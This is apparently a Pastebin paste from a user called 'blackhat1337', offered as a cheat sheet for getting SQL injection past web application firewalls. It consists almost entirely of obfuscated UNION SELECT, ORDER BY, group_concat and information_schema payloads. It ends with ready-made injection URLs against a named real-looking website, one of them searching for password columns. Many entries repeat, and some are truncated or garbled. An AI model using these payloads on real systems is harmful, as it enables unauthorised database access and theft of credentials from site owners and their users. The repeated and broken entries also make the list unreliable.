blackhat1337

sal

Mar 27th, 2024
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.60 KB | None | 0 0
  1. byPassing Cheat Sheet Of ALL WAF
  2.  
  3.  
  4.  
  5. Cheat Sheet Of UNION SELECT:::
  6. This is The List of By Pass Union Select ::
  7. ----------------------------------------------------------------------------------------------------------------
  8.  
  9. +union+distinct+select+
  10.  
  11. +union+distinctROW+select+
  12.  
  13. /**//*!12345UNION SELECT*//**/
  14.  
  15. /**//*!50000UNION SELECT*//**/
  16.  
  17. +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  18.  
  19. +/*!u%6eion*/+/*!se%6cect*/+
  20.  
  21. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  22.  
  23. 1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23
  24.  
  25. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  26.  
  27. union /*!50000%53elect*/
  28.  
  29. %55nion %53elect
  30.  
  31. +--+Union+--+Select+--+
  32.  
  33. +UnIoN/*&a=*/SeLeCT/*&a=*/
  34.  
  35. id=1+?UnI?On?+'SeL?ECT?
  36.  
  37. id=1+'UnI'||'on'+SeLeCT'
  38.  
  39. UnIoN SeLeCt CoNcAt(version())--
  40.  
  41. uNiOn aLl sElEcT
  42.  
  43. uUNIONnion all sSELECTelect
  44.  
  45. /*union*/union/*select*/select+1,2,3/*
  46.  
  47. /*uniXon*/union/*selXect*/select+1,2/*
  48.  
  49. un/**/ion+sel/**/ect
  50.  
  51. +#1q%0Aunion all#qa%0A#%0Aselect
  52.  
  53. union /*!select*/+
  54.  
  55. union/**/select/**/
  56.  
  57. /**/union/**/select/**/
  58.  
  59. /**/union/*!50000select*/
  60.  
  61. /**//*!12345UNION SELECT*//**/
  62.  
  63. /**//*!50000UNION SELECT*//**/
  64.  
  65. /**/uniUNIONon/**/selSELECTect/**/
  66.  
  67. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  68.  
  69. /**//*!union*//**//*!select*//**/
  70.  
  71. /**/UNunionION/**/SELselectECT/**/
  72.  
  73. /**//*UnIOn*//**//*SEleCt*//**/
  74.  
  75. /**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  76.  
  77. /**/UNunionION/**/all/**/SELselectECT/**/
  78.  
  79. /**//*UnIOn*//**/all/**//*SEleCt*//**/
  80.  
  81. /**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  82.  
  83. uni
  84.  
  85. %20union%20/*!select*/%20
  86.  
  87. union%23aa%0Aselect
  88.  
  89. union+distinct+select+
  90.  
  91. union+distinctROW+select+
  92.  
  93. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  94.  
  95. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  96.  
  97. %23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+
  98.  
  99. /*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  100.  
  101. /*!u%6eion*/+/*!se%6cect*/+
  102.  
  103. 1%?)and(0)union(select(1),version(),3,4,5,6)%23%23%23
  104.  
  105. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  106.  
  107. union /*!50000%53elect*/
  108.  
  109. +%2F**/+Union/*!select*/
  110.  
  111. %55nion %53elect
  112.  
  113. +?+Union+?+Select+?+
  114.  
  115. +UnIoN/*&a=*/SeLeCT/*&a=*/
  116.  
  117. uNiOn aLl sElEcT
  118.  
  119. uUNIONnion all sSELECTelect
  120.  
  121. union(select(1),2,3)
  122.  
  123. union (select 1111,2222,3333)
  124.  
  125. union (/*!/**/ SeleCT */ 11)
  126.  
  127. %0A%09UNION%0CSELECT%10NULL%
  128.  
  129. /*!union*//*?*//*!all*//*?*//*!select*/
  130.  
  131. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  132.  
  133. union+sel%0bect
  134.  
  135. +uni*on+sel*ect+
  136.  
  137. +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4,5,6,7,8,9,10%0A#a
  138.  
  139. union(select (1),(2),(3),(4),(5))
  140.  
  141. UNION(SELECT(column)FROM(table))
  142.  
  143. id=1+?UnI?On?+?SeL?ECT?
  144.  
  145. id=1+?UnI?||?on?+SeLeCT?
  146.  
  147. union select 1?+%0A,2?+%0A,3?+%0A etc ?
  148.  
  149. /*!00000Union*/ /*!00000Select*/
  150.  
  151. /*!50000%55nIoN*/ /*!50000%53eLeCt*/
  152.  
  153. %55nion %53elect
  154.  
  155. %55nion(%53elect 1,2,3)-- -
  156.  
  157. +union+distinct+select+
  158.  
  159. +union+distinctROW+select+
  160.  
  161. /**//*!12345UNION SELECT*//**/
  162.  
  163. /**//*!50000UNION SELECT*//**/
  164.  
  165. /**/UNION/**//*!50000SELECT*//**/
  166.  
  167. /*!50000UniON SeLeCt*/
  168.  
  169. union /*!50000%53elect*/
  170.  
  171. + #?uNiOn + #?sEleCt
  172.  
  173. + #?1q %0AuNiOn all#qa%0A#%0AsEleCt
  174.  
  175. /*!%55NiOn*/ /*!%53eLEct*/
  176.  
  177. /*!u%6eion*/ /*!se%6cect*/
  178.  
  179. +un/**/ion+se/**/lect
  180.  
  181. uni%0bon+se%0blect
  182.  
  183. %2f**%2funion%2f**%2fselect
  184.  
  185. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  186.  
  187. REVERSE(noinu)+REVERSE(tceles)
  188.  
  189. /*--*/union/*--*/select/*--*/
  190.  
  191. union (/*!/**/ SeleCT */ 1,2,3)
  192.  
  193. /*!union*/+/*!select*/
  194.  
  195. union+/*!select*/
  196.  
  197. /**/union/**/select/**/
  198.  
  199. /**/uNIon/**/sEleCt/**/
  200.  
  201. +%2F**/+Union/*!select*/
  202.  
  203. /**//*!union*//**//*!select*//**/
  204.  
  205. /*!uNIOn*/ /*!SelECt*/
  206.  
  207. +union+distinct+select+
  208.  
  209. +union+distinctROW+select+
  210.  
  211. uNiOn aLl sElEcT
  212.  
  213. UNIunionON+SELselectECT
  214.  
  215. /**/union/*!50000select*//**/
  216.  
  217. 0%a0union%a0select%09
  218.  
  219. %0Aunion%0Aselect%0A
  220.  
  221. %55nion/**/%53elect
  222.  
  223. uni/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  224.  
  225. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  226.  
  227. %0A%09UNION%0CSELECT%10NULL%
  228.  
  229. /*!union*//*--*//*!all*//*--*//*!select*/
  230.  
  231. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  232.  
  233. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  234.  
  235. +UnIoN/*&a=*/SeLeCT/*&a=*/
  236.  
  237. union+sel%0bect
  238.  
  239. +uni*on+sel*ect+
  240.  
  241. +#1q%0Aunion all#qa%0A#%0Aselect
  242.  
  243. union(select (1),(2),(3),(4),(5))
  244.  
  245. UNION(SELECT(column)FROM(table))
  246.  
  247. %23xyz%0AUnIOn%23xyz%0ASeLecT+
  248.  
  249. %23xyz%0A%55nIOn%23xyz%0A%53eLecT+
  250.  
  251. union(select(1),2,3)
  252.  
  253. union (select 1111,2222,3333)
  254.  
  255. uNioN (/*!/**/ SeleCT */ 11)
  256.  
  257. union (select 1111,2222,3333)
  258.  
  259. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  260.  
  261. /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
  262.  
  263. %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
  264.  
  265. +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
  266.  
  267. +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  268.  
  269. /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
  270.  
  271. +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
  272.  
  273. /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
  274.  
  275. /union\sselect/g
  276.  
  277. /union\s+select/i
  278.  
  279. /*!UnIoN*/SeLeCT
  280.  
  281. +UnIoN/*&a=*/SeLeCT/*&a=*/
  282.  
  283. +uni>on+sel>ect+
  284.  
  285. +(UnIoN)+(SelECT)+
  286.  
  287. +(UnI)(oN)+(SeL)(EcT)
  288.  
  289. +?UnI?On?+'SeL?ECT?
  290.  
  291. +uni on+sel ect+
  292.  
  293. +/*!UnIoN*/+/*!SeLeCt*/+
  294.  
  295. /*!u%6eion*/ /*!se%6cect*/
  296.  
  297. uni%20union%20/*!select*/%20
  298.  
  299. union%23aa%0Aselect
  300.  
  301. /**/union/*!50000select*/
  302.  
  303. /^.*union.*$/ /^.*select.*$/
  304.  
  305. /*union*/union/*select*/select+
  306.  
  307. /*uni X on*/union/*sel X ect*/
  308.  
  309. +un/**/ion+sel/**/ect+
  310.  
  311. +UnIOn%0d%0aSeleCt%0d%0a
  312.  
  313. UNION/*&test=1*/SELECT/*&pwn=2*/
  314.  
  315. un?+un/**/ion+se/**/lect+
  316.  
  317. +UNunionION+SEselectLECT+
  318.  
  319. +uni%0bon+se%0blect+
  320.  
  321. %252f%252a*/union%252f%252a /select%252f%252a*/
  322.  
  323. /%2A%2A/union/%2A%2A/select/%2A%2A/
  324.  
  325. %2f**%2funion%2f**%2fselect%2f**%2f
  326.  
  327. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  328.  
  329. /*!UnIoN*/SeLecT+
  330.  
  331. -----------------------------------------------------------------------------------------------------------------------
  332.  
  333. Union Select by PASS with Url Encoded Method:
  334.  
  335. -----------------------------------------------------------------------------------------------------------------------
  336.  
  337. %55nion(%53elect)
  338.  
  339. union%20distinct%20select
  340.  
  341. union%20%64istinctRO%57%20select
  342.  
  343. union%2053elect
  344.  
  345. %23?%0auion%20?%23?%0aselect
  346.  
  347. %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
  348.  
  349. %55nion %53eLEct
  350.  
  351. u%6eion se%6cect
  352.  
  353. unio%6e %73elect
  354.  
  355. unio%6e%20%64istinc%74%20%73elect
  356.  
  357. uni%6fn distinct%52OW s%65lect
  358.  
  359. %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
  360.  
  361.  
  362. ---------------------------------------------------------------------------------------------------------------------
  363.  
  364. Cheat Sheet of Bypassing Of Order by And Group By
  365. ---------------------------------------------------------------------------------------------------------------------
  366.  
  367. order by/**_**/
  368.  
  369. /*!12345order*/ /*!12345by*/
  370.  
  371. ) order by 1-- -
  372.  
  373. ') order by 1-- -
  374.  
  375.  
  376. ')order by 1%23%23
  377.  
  378.  
  379. %')order by 1%23%23
  380.  
  381.  
  382. Null' order by 100--+
  383.  
  384.  
  385. Null' order by 9999--+
  386.  
  387.  
  388. ')group by 99-- -
  389.  
  390.  
  391. 'group by 119449-- -
  392.  
  393.  
  394. 'group/**/by/**/99%23%23
  395.  
  396. ------------------------------------------------------------------------------------------------------------------------Concat And Group_concat By Pass cheat Sheet ::
  397.  
  398. ------------------------------------------------------------------------------------------------------------------------
  399.  
  400.  
  401.  
  402. /*!12345group_concat*/(/*!12345table_name*/)
  403.  
  404. /*!50000group_concat*/(/*!50000table_name*/)
  405.  
  406. /*!GrOuP_ConCaT*/()
  407.  
  408. /*!12345GroUP_ConCat*/()
  409.  
  410. /*!50000gRouP_cOnCaT*/()
  411.  
  412. /*!50000Gr%6fuP_c%6fnCAT*/()
  413.  
  414. /*!group_concat*/()
  415.  
  416. gRoUp_cOnCAt()
  417.  
  418. group_concat(/*!*/)
  419.  
  420. group_concat(/*!12345table_name*/)
  421.  
  422. group_concat(/*!50000table_name*/)
  423.  
  424. /*!group_concat*/(/*!12345table_name*/)
  425.  
  426. /*!group_concat*/(/*!50000table_name*/)
  427.  
  428. unhex(hex(group_concat(table_name)))
  429.  
  430. unhex(hex(/*!group_concat*/(/*!table_name*/)))
  431.  
  432. unhex(hex(/*!12345group_concat*/(table_name)))
  433.  
  434. unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
  435.  
  436. unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
  437.  
  438. unhex(hex(/*!50000group_concat*/(table_name)))
  439.  
  440. unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
  441.  
  442. unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
  443.  
  444. CONVERT(group_concat(table_name)+USING+latin1)
  445.  
  446. CONVERT(group_concat(table_name)+USING+latin2)
  447.  
  448. CONVERT(group_concat(table_name)+USING+latin3)
  449.  
  450. CONVERT(group_concat(table_name)+USING+latin4)
  451.  
  452. CONVERT(group_concat(table_name)+USING+latin5)
  453.  
  454. convert(group_concat(table_name)+using+ascii)
  455.  
  456. convert(group_concat(/*!table_name*/)+using+ascii)
  457.  
  458. convert(group_concat(/*!12345table_name*/)+using+ascii)
  459.  
  460. convert(group_concat(/*!50000table_name*/)+using+ascii)
  461.  
  462. /*!concat_ws(0x3a,)*/
  463.  
  464. concat_ws(0x3a3a3a,version()
  465.  
  466. CONCAT_WS(CHAR(32,58,32),version(),)
  467.  
  468. ----------------------------------------------------------------------------------------------------------------
  469.  
  470. How to By Pass Tables:::
  471.  
  472. ---------------------------------------------------------------------------------------------------------------
  473.  
  474. group_concat(/*!table_name*/)
  475.  
  476.  
  477. +/*!froM*/ /*!InfORmaTion_scHema*/.tAblES? -
  478.  
  479.  
  480. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*//*!TaBle_ScHEmA*/=schEMA()?
  481.  
  482. /*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()? -
  483.  
  484. ===========================================================
  485.  
  486. How to By Pass Columns:::
  487.  
  488. ===========================================================
  489.  
  490. group_concat(/*!column_name*/)
  491.  
  492. +/*!froM*/ InfORmaTion_scHema.cOlumnS /*!WheRe*/ /*!tAblE_naMe*/=hex table
  493.  
  494. /*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table/*!froM*/ table? -
  495.  
  496.  
  497.  
  498. ========================================================================
  499.  
  500. URL enCoded By passing Table and columns::
  501.  
  502. ===========================================================
  503.  
  504.  
  505. (select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA())
  506. (select+group_concat(/*!column_name*/)+/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table)
  507. like
  508. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()),4,5 ?
  509.  
  510.  
  511. ========================================================================
  512.  
  513. illegal mix of Collations ByPass ::
  514.  
  515. ========================================================================
  516.  
  517. bypass method
  518.  
  519.  
  520. unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
  521. /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
  522.  
  523.  
  524. http://www.marinaplast.com/page.php?id=-13 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
Add Comment
Please, Sign In to add comment